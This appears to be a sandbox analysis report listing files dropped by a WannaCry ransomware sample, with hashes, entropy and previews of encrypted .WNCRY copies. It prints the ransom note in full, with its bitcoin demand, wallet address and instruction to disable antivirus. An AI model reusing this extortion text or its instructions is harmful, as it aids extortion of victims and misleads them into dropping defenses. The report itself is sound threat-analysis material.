                                      Preview:..#.......x.wJ0~.'.&....I.Ld{..~k....'.H..;.gB....m...S...........\..a.....>4-R..n...C...^<.....0...Y@....6..z.L.+>.|...).........Y...".o...b..v.^.7..f4../.0.,_..P..e.^L.....d..&rzt..;'J.f@....Q%.{.|...z_..N....l(.......'O.Y..2^.O....y.y.b....#..*.......f.<D...V....`.....~*.uv...Y..)O...MLx..'yC.........qa"M..t.W..S....Q...*M?.q..YnK.m....?..~.{.M...A....*..kTI.O...7XyJ.g.R+Xo.n....D....\*..!.0q..sV.R5.V.......S..m=.D..L.Y2U...}.QK.v...`I...?...y..ST/...?.............E.f.y..f.E.F..........R....P.AiC).`.R...Q?.....7..S&. .n=...1........._.#.>\Y]^..Lf.R..a.....@.-..N......K.....Pd..8..TB.E...V.....o4....'..E.L..Yg.....!i5..j...E.sX..2.V'.E. ....o%2...(..G.=..gYTS=q...........d.8.?.sS.(.=.kh.i.@.n.K...d3.......A..>@..|.g{ .......y..4....<.e.7*|!i?..8-eB..f...m...&#>...T5.......Q.wMD.4.WW....a`...h...^....H......2....%.D].. .P..B.4f...K..p....c<.T.y^.!.PH2...0.........rv"n...N...+..q>.0....".Mpc....e_%.G.FH....9.a.iT......N!&.i...f+.

                                      C:\Users\user\Desktop\VAMYDFPUND.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850543388517333
                                      Encrypted:false
                                      SSDEEP:24:bkYElClvlN0eEbMsvLvlHx5sA4mRV96le8qo5bEdqW+2iz4aucOht:bkVMNvEosvjlR5pL8XpEdBdiz4aLw
                                      MD5:A146F6DC7238D212FF3B8BBF9D643E5D
                                      SHA1:1AAB866B93141E806E176DA27EEE9F63485F5486
                                      SHA-256:DE1079328927F2D3091E7067062E21007F1E2029DB7A193065D2D9ACEE7D6DF0
                                      SHA-512:E5E52B56AD2C04BDFD8D6A213806B553B62A1FAE962C4595DD6F964662538AC5A8C000C3C7D4B32CEAFA27A97601BB3E11533D01F0FB79685673AF21CBA43071
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....D}.|......Z..VI|r.....7;.).i8y(..:..M...@...`.&..~.......a..IR.....0...`.....k.W....<.T...N|D.......<<...tG..2+m-I.Z..Da.l.lB.....sJ.7.$z]...-....I6.h...p.......P...GU......\...F(<NL... ..l.&6O%..Ty.....E..Y.....n..a..VE*.$.#....8...D.Q.K..............,.\....?.V.Mb...(.%q".i.....j..s...@~.3l..s#l.....}..).Z$,..B.@......5$*.Dx...t..v....wlf.UC.2m..r.]...uh.....gm.....q..m5n....S..!..........N.M....t%,*.L$..@z...+.m.[..k....P...$..e...!'./$..{.sE..d..y.+\..@i............k...aNz.5...$....=Wc..k.....9G.O..?....p...........7.Q........G...e....G...aqx.....A.A.{.B.....Q...7..d..ng.......uYQ.!...(..n....j.(.R&. ..E..1.|.l...}.P......[o=]`L...D.B.!.e...o..|.......V.8..q...v.g..o!o...........;.....eg......K9.}=.)=%I.J..!.........^K|.f0.l.]....?...&....8e.4....=..;......C..!.....E/}.L..z.o..og... ..k....4.3_CMX.|.......}.....p7"...z8.C...8..S....R...l^F~..jR.(/..\.0........f}...=......kKG...Q!.?.D...........@.)e..k...@....&.......<

                                      C:\Users\user\Desktop\VAMYDFPUND.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850543388517333
                                      Encrypted:false
                                      SSDEEP:24:bkYElClvlN0eEbMsvLvlHx5sA4mRV96le8qo5bEdqW+2iz4aucOht:bkVMNvEosvjlR5pL8XpEdBdiz4aLw
                                      MD5:A146F6DC7238D212FF3B8BBF9D643E5D
                                      SHA1:1AAB866B93141E806E176DA27EEE9F63485F5486
                                      SHA-256:DE1079328927F2D3091E7067062E21007F1E2029DB7A193065D2D9ACEE7D6DF0
                                      SHA-512:E5E52B56AD2C04BDFD8D6A213806B553B62A1FAE962C4595DD6F964662538AC5A8C000C3C7D4B32CEAFA27A97601BB3E11533D01F0FB79685673AF21CBA43071
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....D}.|......Z..VI|r.....7;.).i8y(..:..M...@...`.&..~.......a..IR.....0...`.....k.W....<.T...N|D.......<<...tG..2+m-I.Z..Da.l.lB.....sJ.7.$z]...-....I6.h...p.......P...GU......\...F(<NL... ..l.&6O%..Ty.....E..Y.....n..a..VE*.$.#....8...D.Q.K..............,.\....?.V.Mb...(.%q".i.....j..s...@~.3l..s#l.....}..).Z$,..B.@......5$*.Dx...t..v....wlf.UC.2m..r.]...uh.....gm.....q..m5n....S..!..........N.M....t%,*.L$..@z...+.m.[..k....P...$..e...!'./$..{.sE..d..y.+\..@i............k...aNz.5...$....=Wc..k.....9G.O..?....p...........7.Q........G...e....G...aqx.....A.A.{.B.....Q...7..d..ng.......uYQ.!...(..n....j.(.R&. ..E..1.|.l...}.P......[o=]`L...D.B.!.e...o..|.......V.8..q...v.g..o!o...........;.....eg......K9.}=.)=%I.J..!.........^K|.f0.l.]....?...&....8e.4....=..;......C..!.....E/}.L..z.o..og... ..k....4.3_CMX.|.......}.....p7"...z8.C...8..S....R...l^F~..jR.(/..\.0........f}...=......kKG...Q!.?.D...........@.)e..k...@....&.......<

                                      C:\Users\user\Desktop\VAMYDFPUND.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.783076621701315
                                      Encrypted:false
                                      SSDEEP:24:jfmWqpdOx0PjZbNyuAAWaSRHqQCIfOkzn16lxMEWxGbr8LIP0j7t73:TmWxx0tb4uAAWdXfXz16laB0r+RT
                                      MD5:67FB214B80150E2F9E414A8EB75D8CF7
                                      SHA1:7B6688468C5489CCFCFEF5E1F65B17B891FB1BBE
                                      SHA-256:E448EDC1905A48061A1A43B22B557980CF29EA5FB0B3078265C53E5BBDC7FBF6
                                      SHA-512:DB9144AB5F3D9BC278A2630761DB06F4F9D3FD4FC4680CBFA11BAC0F5011B39682A51CC8970E0CF817C4B08083908AF2565B19F31522EF1B5223B4BA7C616804
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:K#.\.J/.`.W. MB..E.....U...../^........yJw...K.7K. ......>...H.....c....6..z~...2.j..?Ch(..a.....Gfw..~....{)..t.8..O..7.....!.<.0X.3.0.wFe`.-.....4....Z;=....:..q......`s5..U..].!O.Y..x.8...v".a..(.o....#Gq..mVA.W-..Wz.4...v1..I...z..W~r...>g.......U....cW....Cm.x*asq..}.lu.7.....K..c.7.h.....=..H..+.........R.!.....o....0a.H.1k...`.Xbs.G..B.....j.#'.g.O.)|]..<-........0..q..U.q=.{..(............=.._3..4~..<.Gn...$I/:`...+.4....t.o.K.{?........".t...x....*6M.b.....s.7.........4.".l..R1.......yq.`u.......h.R:.W'.Z&....J..h.R.......Kg...4...3.x.......HM.vy..".(f..?bN.z.%|.exq.....,Xb."..3....G:...$.D.|..f.. ..w.o..pv..wS....h.J..4...M>..P..G..DO...a.]o>M........4y....O..5.....<:.)).K.8..\XHi....g.%(....&94.u6^..N[ux. ..)..6..aR..5..y......<.P...=\.O[7...).....G..w*!+c.,.yQ.........'5tU...M)..W.y.S.^\.2..k5..EL.!...MC......w..&u..e.f.V..g.t*M.....E...PG..r.W..5_8'.......*h..:.a.wD...J.bZ.g...WS...2..h.t..}v.4...`<x`.^...j..H...?....[.&b.3

                                      C:\Users\user\Desktop\VAMYDFPUND.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.863716037731254
                                      Encrypted:false
                                      SSDEEP:24:bk1MQNf2Llr6nRexdFVlrFyeayky3U75O9AXkoD7uZB0o2SMyW+kQpMLc:bk+Uf2Z6nuHV/b7kySO9AXhvwvFBpL
                                      MD5:804D0D6B3FF06E6E9637B21D3FCADD37
                                      SHA1:08E6BDE0E0090F6A28B55EC3FF375AD2A4F12F45
                                      SHA-256:46A945394393F953703CE7D7311FF8DF93E8A00859AEB05EF5C601BB416DE9EB
                                      SHA-512:E3C6D1ADCF7D5F1364A4ED2DF3096E0C0B1001B97DE7BC19EB8F9B9D83771305A5537D3854448D464CA8B1F68E7AEFA96DC043F1A5AB43E62146B9700EE902A7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....(U.d".......dAHZhtoR2.E.t.O..Rb.]..:..H.+.`..6i.!.....:....+........@....V1.4.fk....#..6.^...*.......Z.Z.$.$...o.../ID.0.....h-H..3..T.....V..N.:..f.....5..)........'.N.l./n...m..u.{.pT..._.B4......hx.5.SW.Y.........1..g..S.y,s......Xi...,eN.%41............I..c\...2.\..'e....l........EO..r..._}n.......h.....c.x.2.{.R..!.@=p...;.$.$.(.c...q..ue.5pv;M^......S0.|_<+`..0.U...Q[G.M....o..v..'}x.}..t....D....<.....L..@..E.......v.....!#b.8.)fH.3..M....u..tx.0....^.....[...i;...v..h......*.JT.3].~.?;.......%.J.h7z.s... ,.fUZ......;.o. .$...........1..w..S..%....S....1~...k...+k4[+x..I.6o..{...~...Hu.Pv....Y..n.AN.G.[a....1~.....*...%1.......G...............=.+.%Y..jZ..2.^...w..?[..ds|;.+YX...)......P.m.....d..x..xG.(.....cZ..z...>.@3.Q.......O.RK}....8.X..5..0T.Q.......#..u....GG.\.X-.=q.Y.i!8.h.i..u.=Z.be....=.z.(I.......8...62..}.W....g)..Y....q.bJ.D.<.....l.Bj.c9.?0....|.x4.2Y@...q..../N..\...>..9..c.V.2%.D.9...I.;G...m.O...

                                      C:\Users\user\Desktop\VAMYDFPUND.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.863716037731254
                                      Encrypted:false
                                      SSDEEP:24:bk1MQNf2Llr6nRexdFVlrFyeayky3U75O9AXkoD7uZB0o2SMyW+kQpMLc:bk+Uf2Z6nuHV/b7kySO9AXhvwvFBpL
                                      MD5:804D0D6B3FF06E6E9637B21D3FCADD37
                                      SHA1:08E6BDE0E0090F6A28B55EC3FF375AD2A4F12F45
                                      SHA-256:46A945394393F953703CE7D7311FF8DF93E8A00859AEB05EF5C601BB416DE9EB
                                      SHA-512:E3C6D1ADCF7D5F1364A4ED2DF3096E0C0B1001B97DE7BC19EB8F9B9D83771305A5537D3854448D464CA8B1F68E7AEFA96DC043F1A5AB43E62146B9700EE902A7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....(U.d".......dAHZhtoR2.E.t.O..Rb.]..:..H.+.`..6i.!.....:....+........@....V1.4.fk....#..6.^...*.......Z.Z.$.$...o.../ID.0.....h-H..3..T.....V..N.:..f.....5..)........'.N.l./n...m..u.{.pT..._.B4......hx.5.SW.Y.........1..g..S.y,s......Xi...,eN.%41............I..c\...2.\..'e....l........EO..r..._}n.......h.....c.x.2.{.R..!.@=p...;.$.$.(.c...q..ue.5pv;M^......S0.|_<+`..0.U...Q[G.M....o..v..'}x.}..t....D....<.....L..@..E.......v.....!#b.8.)fH.3..M....u..tx.0....^.....[...i;...v..h......*.JT.3].~.?;.......%.J.h7z.s... ,.fUZ......;.o. .$...........1..w..S..%....S....1~...k...+k4[+x..I.6o..{...~...Hu.Pv....Y..n.AN.G.[a....1~.....*...%1.......G...............=.+.%Y..jZ..2.^...w..?[..ds|;.+YX...)......P.m.....d..x..xG.(.....cZ..z...>.@3.Q.......O.RK}....8.X..5..0T.Q.......#..u....GG.\.X-.=q.Y.i!8.h.i..u.=Z.be....=.z.(I.......8...62..}.W....g)..Y....q.bJ.D.<.....l.Bj.c9.?0....|.x4.2Y@...q..../N..\...>..9..c.V.2%.D.9...I.;G...m.O...

                                      C:\Users\user\Desktop\VAMYDFPUND\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Desktop\VAMYDFPUND\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\Desktop\VAMYDFPUND\GRXZDKKVDB.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.779489079090586
                                      Encrypted:false
                                      SSDEEP:24:OqEg9YQ6LDx9rnqwZ/Imtt55etepDZSExqAI0+4em+O8EzfdD:Oq6x9rnqiLtRDzxqATHem+ObVD
                                      MD5:1C4CCC97D76769E10CC46F016D3FE7D5
                                      SHA1:BE0C11465BCF03D4A61118D7AA0B7060B9849CE2
                                      SHA-256:BFE25FC28A1F44F5239C053D9CE4A7B9AAAF5544D3ED927735DE6F789830CA27
                                      SHA-512:A83620F4835E57125E4E76983CC4B6C8E270AD6CCB62B0F4D9C6E2B034D9C90D1031ACA4C404A7FEC372EE4D881AAC1BC00B98CC021ACA6F4832E078DB93D691
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..1.MH.Y.w.`z?...5k.....[........%..5(..~`.]...M5_..==%<5j.dw.c..b......n...W........C...F..NR...N.-.v..Y.".Q.V-.e.@.`p,.}.W........\. M.....].;...Y,.QP.....W... }..X.N!.!...J.h2..w.^..Y.Z........M.F`%..........._=..d./Q'.(.....m......+.....;k~m."h.%^.....aj..lB..`W).^.n..v.<..V.I..7^.h.K...?..Ctzw*M..Q.q$......K....]tB.N;...6.&%.D!..._)..L:;.....|2<......^..7......F.."..!...~9.N.#nc.fI@...N..P.%......i..=..(a.C...g.........+z.G..cc.......U...|..|<u(t..,'/.l..ks...77Npr."....P.}f....} ".y........pU......k..R.."...vVi....Zv:.....C..QaseX;o.W......&..P....=yP4..........r..h...t............Zb>..>o..8N.#{...P.Xs....N?p.y."..S.i].{.;..<V...c.vA\y...tW..g....s...t..S..DB.||4.a..M..tn.w.j....F).Y....D5.lh./?h..R.q-? .Ux..7....g./}'.8S.n.... ....F|*......l~Q..7.S..{....;. q......"..>.K......7...v.......M.......]D.X...k..x......@.Q.."..........s..O.2b...%..\g..jP.......?Q...>.e.1...2...U.....[....)..V....g...9. S..#...sC......rH..v...$.{.z

                                      C:\Users\user\Desktop\VAMYDFPUND\GRXZDKKVDB.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840007651166016
                                      Encrypted:false
                                      SSDEEP:24:bkTw/Fd6CVfO2Zchio4KFpp0BPeXBpZXKZ6i2gy6W6z:bkTw/D/VfzZcHVGexplKwgy6p
                                      MD5:761D6ADA4308CB3FA4DD7FEA44BCBB77
                                      SHA1:707EEA1026338D7BA1DF5B754A0B62C143DCA877
                                      SHA-256:B49DDC468B8DC7400F49B362692A3BB0342E5310D535A0578B2EEF84EC405409
                                      SHA-512:AA6CC590FA6C9095E39400EB8A1853E77BBD2304695852C412AB9F5F2E5CB2C9BF30A662CDA24F2F6CF18DD7824F0286D74C16B9BD59BE420B87C388E9314EB4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....dw.....|...|...UoF.ZLd....e..........0r........"..U|q..H#.jZ.DRb....o*'..1....._]....df(.t..M..U9;+>..9.7......5..Uax.....uF.n..mg...:~.F.qsQ.O.E...0.vaPN.!..h.U.....C.u.........i....{.V.G..m...7Ox..pVH...4.3... ..S'{.......[....c..e.#..............y.=#;.dN#Z7.:a...l5..$.B.....kUb.-,......6/.d.....1Z....M.c.;a"9`..}T...&....S.D.}.:..k....o...1..4.#.o.....=.....}.TK:x.]..mSc..c1#>.nR......<:.D.V9.aB.Ln... .<?...#..*.%.........D..y..+,U.."{...".....L.m.4.x7.s.X.8....e.....ky.....vW.]..R....O:.w:FC.=......9.p1..2'rlw.w........5K..)...q.+.&x.m#M...b.,.w..._....6........3J"W.Luj.0..(.B...2w...B.....e|(X.H..i6.v .....vwO.'..g..A....T.M`....pC.).$..B.ty...!..}...C.!......{..*.`+.Bd..pG.jW .....g..V.Ju.....>"......'..,.....F...U...g|;..\..n..U..>...*JuX..$....X...|..@..l%...e.........n./.Yi...z...>...#..9.7N.U...7|..<.m..(f.=.l"$..S.n]..#O.?..:....#..[..R.q.4...$....k.t.v..F.b.Q$.7....p;.*N.....E..+.V^r....].,-R..)..= ...OAy..z..@

                                      C:\Users\user\Desktop\VAMYDFPUND\GRXZDKKVDB.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840007651166016
                                      Encrypted:false
                                      SSDEEP:24:bkTw/Fd6CVfO2Zchio4KFpp0BPeXBpZXKZ6i2gy6W6z:bkTw/D/VfzZcHVGexplKwgy6p
                                      MD5:761D6ADA4308CB3FA4DD7FEA44BCBB77
                                      SHA1:707EEA1026338D7BA1DF5B754A0B62C143DCA877
                                      SHA-256:B49DDC468B8DC7400F49B362692A3BB0342E5310D535A0578B2EEF84EC405409
                                      SHA-512:AA6CC590FA6C9095E39400EB8A1853E77BBD2304695852C412AB9F5F2E5CB2C9BF30A662CDA24F2F6CF18DD7824F0286D74C16B9BD59BE420B87C388E9314EB4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....dw.....|...|...UoF.ZLd....e..........0r........"..U|q..H#.jZ.DRb....o*'..1....._]....df(.t..M..U9;+>..9.7......5..Uax.....uF.n..mg...:~.F.qsQ.O.E...0.vaPN.!..h.U.....C.u.........i....{.V.G..m...7Ox..pVH...4.3... ..S'{.......[....c..e.#..............y.=#;.dN#Z7.:a...l5..$.B.....kUb.-,......6/.d.....1Z....M.c.;a"9`..}T...&....S.D.}.:..k....o...1..4.#.o.....=.....}.TK:x.]..mSc..c1#>.nR......<:.D.V9.aB.Ln... .<?...#..*.%.........D..y..+,U.."{...".....L.m.4.x7.s.X.8....e.....ky.....vW.]..R....O:.w:FC.=......9.p1..2'rlw.w........5K..)...q.+.&x.m#M...b.,.w..._....6........3J"W.Luj.0..(.B...2w...B.....e|(X.H..i6.v .....vwO.'..g..A....T.M`....pC.).$..B.ty...!..}...C.!......{..*.`+.Bd..pG.jW .....g..V.Ju.....>"......'..,.....F...U...g|;..\..n..U..>...*JuX..$....X...|..@..l%...e.........n./.Yi...z...>...#..9.7N.U...7|..<.m..(f.=.l"$..S.n]..#O.?..:....#..[..R.q.4...$....k.t.v..F.b.Q$.7....p;.*N.....E..+.V^r....].,-R..)..= ...OAy..z..@

                                      C:\Users\user\Desktop\VAMYDFPUND\PWCCAWLGRE.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.844163833796433
                                      Encrypted:false
                                      SSDEEP:24:Qv29pgW03EcyvTXMxHzNFWrciHY3IU+qZBEQ8E1atgv/Do3:z51c6XCHRcrciHY3ItIOpE1at8Do3
                                      MD5:F3971289B3647C2C0D8F7E64F3AA19BD
                                      SHA1:867B0C94E4840181A0442E3FEE5757854AAD10FD
                                      SHA-256:F637753D476B4E82A99371FFC7D50BBB45ED5FCE374BE71D3FFB3762CA451960
                                      SHA-512:DDECE15B019D1D038C55D8EC7683ADCEC8EE67F641BC2F9E06291015E955B28ED1B72FC0967B9857588935421D02C0B647ADDC245CBA00A4E20198EF299C0852
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...f.+......<.zm5..Add..S3.......cr.....3..mB.u.!....D....q|....rK....E.lR.-..(c.p#....B.K..tm*K.o8..=.....L..#a..8..H......P...={Yj.6A..?b.....cf...!Z....N..C..w.....k.%.#.z.<...,..T.z.I....?w....p...D.\/...ga&.h.&...1..........o.x*D..j._.Z.l..7f1$.I...is.h..Q. ...#.jK.....bF:]...i.....0.3..g.$.x.(...)...O..=+.x.C....>.A ..../J...`..g]zE.>:N.~..... /......k...Gn......vDx...o:.Es23..RU...z.]].A..b7`.P.l..'\..J=.iT..R.....1'.......<.-...D.S...$.d...b..E..u/,...<*e...xq..[....E......7...xk...q...Q....E..Y....3...#.....}-^..8..$.o....k..&.n$46...._.........v...E.".e....O...)3...R...9...p.*..q.Jk.u..A6.h.....x......%.F..9..K..W...{..nD..LQ.Q.Z.....%y.{.P..2.UD./...KH...|....J..9.\g..1..1....tl...h...X.y....E....O...).-Wb........R&....V..A......Pu...s;..Q.1..T...r.....-..tG.w...Eka.....@.&.K..R;A.N..........*.M....o.t....95R..E..p.AJ.}N.O.0.....).^..5%...[8.0XvHI....DzoD]g.`.....4.a|....n..7.\}.{.w..,j..".u6.k..'.Z..H.d....s9..

                                      C:\Users\user\Desktop\VAMYDFPUND\PWCCAWLGRE.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861165716796825
                                      Encrypted:false
                                      SSDEEP:24:bkGFemNqox78SshWBBXf6kLapl2cRbGftO7NLD7cFu6UQUrDVF283o:bkGHxtBo0O7pAM6fUrDVF8
                                      MD5:226B2B0FC99A6CCFBFF28A2449909F1F
                                      SHA1:16447566F3ABB547583449047482EBA57858B7C7
                                      SHA-256:94D58D6A3EC24B600EFA72C32DACDABCED28B05CFF2BF05D08C65CB0DD7C6815
                                      SHA-512:E4FFAC01A75FB1CAB0913E63F11056FB0AE974EF9ACEDD8F3F806237E51A3F9706299B33BCE343240078756F36075C86836797636E472AC26FDEFFA536F58266
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......?4....A/5X...g..K.zc....~..7..E.Y....Ey.DJ......f.S.....2.......\.../.......yG.-Aiy.(.r^G:i...P.F.V.......~..(h..."..r.....#`..^.R..P..u:.HK.i....'IPY...Pc.._d.Q.H..6.[...I.......^.92l<...e%6{.8...7<(.B.P...d.S..ER'...B...(.+...{..........U..s4............`.L..0..W.p...w.A.g.Yh]..$.#....k7L2.*.3K/.GV4e...1.l.............M.....0,.@"T.>a.+.r,).n.9.o.?v.3..F./|.....9Z4..Ml.2.> ...ziI<..7B...h.X.q..Wj>.;a.J?......<...R.E......A..Hr..%..y{......j..uP.^*.65-.|t.95..B.S...u,..........yc..hH.T...Y.].ap.4!3>8.d.|&....Ueq'.Q.#.AP....;.G....?....;...Z..'.S'X.|...^:Q.......G8E(x...L.HE......W....=.J..}1...@m....f..x_d,..v..Pj..%.wD.4...L....6W........f.O.dx....p..8E=...#@..)...n.H.t:.s.8$.%...d.,ov...y.~e..f....Y..El..t.(..30$.=.g.....=.....tSD..w.h..C.,....I6..4@#.F..j....OP.g+ J#.$&.JNi..#.c.6.<.f../.eS...*.D.t.8.\..7.Lp^Z.`.........b..z|wZ......,..y....!D%.....U..-.@.b..`M....q...|.k=~.<.-..g5O.@.l..P..E.A&..6.B..?....y.+6/.Eu.}...q,.3.H

                                      C:\Users\user\Desktop\VAMYDFPUND\PWCCAWLGRE.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861165716796825
                                      Encrypted:false
                                      SSDEEP:24:bkGFemNqox78SshWBBXf6kLapl2cRbGftO7NLD7cFu6UQUrDVF283o:bkGHxtBo0O7pAM6fUrDVF8
                                      MD5:226B2B0FC99A6CCFBFF28A2449909F1F
                                      SHA1:16447566F3ABB547583449047482EBA57858B7C7
                                      SHA-256:94D58D6A3EC24B600EFA72C32DACDABCED28B05CFF2BF05D08C65CB0DD7C6815
                                      SHA-512:E4FFAC01A75FB1CAB0913E63F11056FB0AE974EF9ACEDD8F3F806237E51A3F9706299B33BCE343240078756F36075C86836797636E472AC26FDEFFA536F58266
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......?4....A/5X...g..K.zc....~..7..E.Y....Ey.DJ......f.S.....2.......\.../.......yG.-Aiy.(.r^G:i...P.F.V.......~..(h..."..r.....#`..^.R..P..u:.HK.i....'IPY...Pc.._d.Q.H..6.[...I.......^.92l<...e%6{.8...7<(.B.P...d.S..ER'...B...(.+...{..........U..s4............`.L..0..W.p...w.A.g.Yh]..$.#....k7L2.*.3K/.GV4e...1.l.............M.....0,.@"T.>a.+.r,).n.9.o.?v.3..F./|.....9Z4..Ml.2.> ...ziI<..7B...h.X.q..Wj>.;a.J?......<...R.E......A..Hr..%..y{......j..uP.^*.65-.|t.95..B.S...u,..........yc..hH.T...Y.].ap.4!3>8.d.|&....Ueq'.Q.#.AP....;.G....?....;...Z..'.S'X.|...^:Q.......G8E(x...L.HE......W....=.J..}1...@m....f..x_d,..v..Pj..%.wD.4...L....6W........f.O.dx....p..8E=...#@..)...n.H.t:.s.8$.%...d.,ov...y.~e..f....Y..El..t.(..30$.=.g.....=.....tSD..w.h..C.,....I6..4@#.F..j....OP.g+ J#.$&.JNi..#.c.6.<.f../.eS...*.D.t.8.\..7.Lp^Z.`.........b..z|wZ......,..y....!D%.....U..-.@.b..`M....q...|.k=~.<.-..g5O.@.l..P..E.A&..6.B..?....y.+6/.Eu.}...q,.3.H

                                      C:\Users\user\Desktop\VAMYDFPUND\SFPUSAFIOL.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.816857345937518
                                      Encrypted:false
                                      SSDEEP:24:Di/yxOyL94K2aUSWkaLjLbATDKc8nCPfFHDB+htGmnnstdN6Fq/S0uEiyhfab:DZxOyxkaUDkYjLbIH9D2GmstWF4u+hib
                                      MD5:7A5792D5AE9FBDF87B11F62BD7981FDD
                                      SHA1:1A3FDCC5167CE486481E17E9882EABDC1CF1E144
                                      SHA-256:4CD4C8787A869C66F6D53A48F429495BB565D8EA4124935BCA88C8607129C102
                                      SHA-512:AE6A9CA0E21ECF90F051E0EBDC3B1D34EDE06815594478E8A7FF68A5C28622089C75624E795F3439DAEE8148A7BE7C27FDC8CEB27D126393DBB941F1A7BD4FF0
                                      Malicious:false
                                      Reputation:unknown
